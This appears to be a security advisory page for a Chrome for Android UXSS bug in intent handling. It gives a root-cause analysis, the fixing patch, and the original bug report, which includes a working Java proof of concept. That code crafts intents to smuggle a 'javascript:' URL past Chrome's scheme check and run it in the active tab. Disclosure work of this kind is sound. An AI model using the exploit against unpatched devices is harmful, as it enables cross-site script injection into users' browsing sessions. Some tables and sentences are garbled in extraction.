CVE-2026-7941
Overview
Background
- `ChromeTabbedActivity`
- the main Android activity for Chrome’s tabbed UI; its intent-handling path decides how an incoming
Intent(URLs to open, tab groups, multi-tab reparenting) is processed. - `IntentHandler`
- the helper that parses and validates intent extras, including
TabGroupMetadataand multi-tab reparenting metadata (EXTRA_MULTI_TAB_REPARENTING_METADATA). - Multi-tab reparenting / tab-group drag-drop
- flows that move several tabs (or a tab group) between windows/activities by serializing tab IDs and URLs into intent extras.
- `maybeHandleUrlIntent` / `maybeHandleMultipleUrlIntent` / `maybeHandleGroupUrlsIntent` / `maybeHandleSingleUrlIntent`
- the dispatch ladder that routes an intent to the correct handler based on which metadata it carries.
Root Cause Analysis
maybeHandleUrlIntent dispatched by checking TabGroupMetadata before the multi-tab reparenting extra, so an intent carrying EXTRA_MULTI_TAB_REPARENTING_METADATA could be routed down the tab-group path (or otherwise mis-dispatched) instead of to maybeHandleMultipleUrlIntent; the fix reorders the checks so the multi-tab reparenting extra is tested first and routed correctly. Separately, in IntentHandler (enclosing function names not shown in the @@ -961 / @@ -983 hunk headers), the code iterated over the supplied tab IDs/URLs and removed invalid URLs from the in-memory metadata, but then returned without writing the pruned metadata back onto the Intent; downstream handlers therefore could consume the original, un-pruned extras.
The fix adds setMultiTabMetadata(intent, multiTabMetadata) and setTabGroupMetadata(intent, tabGroupMetadata) right after the invalid-URL filtering so the sanitized metadata is persisted back into the intent before the early return. Together these ensure the correct handler runs and that it operates on validated data, which matches the advisory’s “Insufficient validation of untrusted input in Mobile.”
Intent; the fix prioritizes the reparenting check and calls setMultiTabMetadata/setTabGroupMetadata so downstream code consumes only the sanitized metadata.Attack Path
- Craft a multi-tab intent
A malicious or crafted app sends Chrome an
IntentcontainingEXTRA_MULTI_TAB_REPARENTING_METADATA(and/or tab-group metadata) with attacker-chosen tab IDs and URLs, some invalid. - Mis-dispatch
Pre-patch
maybeHandleUrlIntentcheckedgetTabGroupMetadatafirst, so an intent that should go tomaybeHandleMultipleUrlIntentcould take the wrong branch. - Unsanitized metadata reused
Even after invalid URLs were pruned from the local metadata object, the original extras remained on the
Intentbecause the pruned copy was never written back, so a later handler could read the un-filtered URLs/IDs. - Open/handle unvalidated URLs The combined effect is that improperly validated multi-tab input is acted upon (opening or reparenting tabs with invalid/attacker-controlled URLs); the specific downstream consequence beyond mishandling untrusted intent input is not shown in the diff (inferred).
Impact Assessment
ChromeTabbedActivity.Changed Functions
| Function | Change | Notes |
|---|---|---|
ifchrome/android/java/src/org/chromium/chrome/browser/ChromeTabbedActivity.java |
modified |
Files Changed
chrome/android/java/src/org/chromium/chrome/browser/ChromeTabbedActivity.javachrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java
Audit Directions
- Write-back of sanitized inputAudit parsers that validate/prune data in a local copy but may leave the original untrusted values on the carrier object (
Intentextras, bundles) for later consumers to re-read. - Dispatch ordering with overlapping extrasReview intent/message dispatch ladders where multiple extras can co-occur, ensuring the most specific handler is selected first and no branch silently swallows mis-typed metadata.
- Cross-app intent surfaces on AndroidExamine exported activities handling complex serialized extras (tab IDs, URLs, group metadata) for consistent validation before any URL is opened or tab is reparented.
Patch
From 35c2094329bdcd86e057e5d669b55af8b324f630 Mon Sep 17 00:00:00 2001
From: Hitarth Kothari <hitarthkothari@google.com>
Date: Thu, 19 Mar 2026 13:49:47 -0700
Subject: [PATCH] Fix a bug with multi tab handling
Bug: 493955234
Change-Id: Ia8f5bb76074eb473e542fa1927cf96be6379083e
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7685092
Auto-Submit: Hitarth Kothari <hitarthkothari@google.com>
Reviewed-by: Calder Kitagawa <ckitagawa@chromium.org>
Reviewed-by: Zhe Li <zheliooo@google.com>
Commit-Queue: Hitarth Kothari <hitarthkothari@google.com>
Cr-Commit-Position: refs/heads/main@{#1602213}
---
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/ChromeTabbedActivity.java b/chrome/android/java/src/org/chromium/chrome/browser/ChromeTabbedActivity.java
index d25622b0..4d9c5c1 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/ChromeTabbedActivity.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/ChromeTabbedActivity.java
@@ -1870,13 +1870,13 @@
* @return Whether the Intent was successfully handled.
*/
private boolean maybeHandleUrlIntent(Intent intent) {
+ if (intent.hasExtra(IntentHandler.EXTRA_MULTI_TAB_REPARENTING_METADATA)) {
+ return maybeHandleMultipleUrlIntent(intent);
+ }
@Nullable TabGroupMetadata tabGroupMetadata = IntentHandler.getTabGroupMetadata(intent);
if (tabGroupMetadata != null) {
return maybeHandleGroupUrlsIntent(intent, tabGroupMetadata);
}
- if (intent.hasExtra(IntentHandler.EXTRA_MULTI_TAB_REPARENTING_METADATA)) {
- return maybeHandleMultipleUrlIntent(intent);
- }
return maybeHandleSingleUrlIntent(intent);
}
diff --git a/chrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java b/chrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java
index a875a30c..247e2db 100644
--- a/chrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java
+++ b/chrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java
@@ -961,6 +961,8 @@
tabIds.remove(i);
}
}
+ setMultiTabMetadata(intent, multiTabMetadata);
+
return urls.isEmpty();
}
// Ignore all invalid URLs, regardless of what the intent was.
@@ -983,6 +985,8 @@
iterator.remove();
}
}
+ setTabGroupMetadata(intent, tabGroupMetadata);
+
// TODO(crbug.com/384979079) Add metrics for invalid url and ignored intent during
// group drag drop.
return tabIdsToUrls.size() == 0;
Original Bug Report
UXSS in Chrome for Android
Security Bug
Important: Please do not change the component of this bug manually.
Please READ THIS FAQ before filing a bug: https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md
Please see the following link for instructions on filing security bugs: https://www.chromium.org/Home/chromium-security/reporting-security-bugs
Reports may be eligible for reward payments under the Chrome VRP: https://g.co/chrome/vrp
NOTE: Security bugs are normally made public once a fix has been widely deployed.
VULNERABILITY DETAILS
In shouldIgnoreIntent method of IntentHandler class , externally recieved intent goes through a check to prevent “javascript” and “jar” schemed URI’s from being loaded.
Source
Using getMultiTabMetadata method, it checks if the intent contains bundle extra with key org.chromium.chrome.browser.multi_tab_reparenting_metadata ; if so, it retrieves it and initializes the class MultiTabMetadata with the extras recieved from the bundle.
If the object returned by getMultiTabMetadata is not null, then the field urls which is an ArrayList goes through for loop and any existence of “javascript” and “jar” based URI’s is removed from the list.
After performing sanitization on the urls, the method returns false if the list is not empty.
After this method gets executed, control goes to maybeHandleUrlIntent method source.
This method,
instead of checking if the intent has bundle extra with key org.chromium.chrome.browser.multi_tab_reparenting_metadata at the beginning, it will check if there is an extra named org.chromium.chrome.browser.tab_group_metadata and creates an object of class TabGroupMetadata which will be used as a source for loading urls.
The sequence of retrieval of extras differs between shouldIgnoreIntent and maybeHandleUrlIntent, through which it is possible to include a “javascript:” uri in the arraylist of TabGroupMetadata , which won’t go through the check.
By passing an extra com.android.browser.application_id with the value com.android.chrome, the TabOpenType returned by the method getTabOpenType will be CLOBBER_CURRENT_TAB(value: 3).
In processUrlViewIntent method , if the value of TabOpenType is CLOBBER_CURRENT_TAB, browser will load it in the current active tab:
Tab currentTab = getActivityTab();
if (currentTab != null) {
RedirectHandlerTabHelper.updateIntentInTab(
currentTab, intent, /* isCustomTab= */ false);
currentTab.loadUrl(loadUrlParams);
resultTab = currentTab;
} else {
resultTab = launchIntent(loadUrlParams, externalAppId, true, intent);
}
break;
Using the vulnerability which was found out earlier, we can pass in “javascript:” uri which will be executed in the context of the current tab.
VERSION
Chrome Version: 146.0.7680.119 (Stable) Operating System: Android 16
REPRODUCTION CASE
ArrayList<Integer> mtidkey = new ArrayList<>();
mtidkey.add(1);
ArrayList<String> mturlkey = new ArrayList<>();
mturlkey.add("https://");
boolean[] mtispinned = {false};
Bundle bundle = new Bundle();
bundle.putIntegerArrayList("MultiTabReparentingIdsKey",mtidkey);
bundle.putChar("MultiTabReparentingIsIncognitoKey",'a');
bundle.putStringArrayList("MultiTabReparentingUrlsKey",mturlkey);
bundle.putBooleanArray("MultiTabReparentingIsPinnedKey",mtispinned);
Map.Entry<Object, Object> entry =
new SimpleImmutableEntry<>(1, "javascript:alert(document.domain)");
ArrayList taburl = new ArrayList();
taburl.add(entry);
Bundle innerBundle = new Bundle();
innerBundle.putLong("high",1);
innerBundle.putLong("low",1);
Bundle exp = new Bundle();
exp.putBundle("tabGroupId",innerBundle);
exp.putSerializable("tabIdsToUrls",taburl);
exp.putInt("selectedTabId",1);
exp.putInt("sourceWindowId",1);
exp.putInt("tabGroupColor",1);
exp.putBoolean("tabGroupCollapsed",false);
exp.putBoolean("isGroupShared",true);
exp.putBoolean("isIncognito",false);
Intent intent = new Intent();
intent.putExtra("org.chromium.chrome.browser.tab_group_metadata",exp);
intent.putExtra("org.chromium.chrome.browser.multi_tab_reparenting_metadata",bundle);
intent.putExtra("com.android.browser.application_id","com.android.chrome");
intent.setClassName("com.android.chrome","org.chromium.chrome.browser.ChromeTabbedActivity");
intent.setAction("org.chromium.chrome.browser.dummy.action");
Intent launch = new Intent("android.intent.action.VIEW").setData(Uri.parse("https://www.google.com")).setPackage("com.android.chrome");
startActivity(launch);
new Handler().postDelayed(new Runnable() {
@Override
public void run() {
startActivity(intent);
}
}, 2000);
CREDIT INFORMATION
Reporter credit: Adithya Kotian
- https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md
- https://g.co/chrome/vrp
- https://source.chromium.org/chromium/chromium/src/+/main:chrome/android/java/src/org/chromium/chrome/browser/ChromeTabbedActivity.java;drc=2fff3fdd8ba33169c02b49c8ceb92b424f8e9a56;bpv=1;bpt=1;l=1871?gsn=maybeHandleUrlIntent&gs=KYTHE%3A%2F%2Fkythe%3A%2F%2Fchromium.googlesource.com%2Fcodesearch%2Fchromium%2Fsrc%2F%2Fmain%3Flang%3Djava%3Fpath%3Dorg.chromium.chrome.browser.ChromeTabbedActivity%236af3e658316262e657859e8674470fd0fe859f8754b8b8a976c40eb7febbef3d
- https://source.chromium.org/chromium/chromium/src/+/main:chrome/android/java/src/org/chromium/chrome/browser/ChromeTabbedActivity.java;drc=2fff3fdd8ba33169c02b49c8ceb92b424f8e9a56;bpv=1;bpt=1;l=1871?gsn=maybeHandleUrlIntent&gs=KYTHE://kythe://chromium.googlesource.com/codesearch/chromium/src//main?lang=java?path=org.chromium.chrome.browser.ChromeTabbedActivity#6af3e658316262e657859e8674470fd0fe859f8754b8b8a976c40eb7febbef3d
- https://source.chromium.org/chromium/chromium/src/+/main:chrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java;drc=2fff3fdd8ba33169c02b49c8ceb92b424f8e9a56;bpv=1;bpt=1;l=934?gsn=shouldIgnoreIntent&gs=KYTHE%3A%2F%2Fkythe%3A%2F%2Fchromium.googlesource.com%2Fcodesearch%2Fchromium%2Fsrc%2F%2Fmain%3Flang%3Djava%3Fpath%3Dorg.chromium.chrome.browser.IntentHandler%23ce31cc235193c27fc38e646fb443a8eceee35ce62ba95499784d6a1b760feab1
- https://source.chromium.org/chromium/chromium/src/+/main:chrome/android/java/src/org/chromium/chrome/browser/IntentHandler.java;drc=2fff3fdd8ba33169c02b49c8ceb92b424f8e9a56;bpv=1;bpt=1;l=934?gsn=shouldIgnoreIntent&gs=KYTHE://kythe://chromium.googlesource.com/codesearch/chromium/src//main?lang=java?path=org.chromium.chrome.browser.IntentHandler#ce31cc235193c27fc38e646fb443a8eceee35ce62ba95499784d6a1b760feab1
- https://www.chromium.org/Home/chromium-security/reporting-security-bugs
- https://www.google.com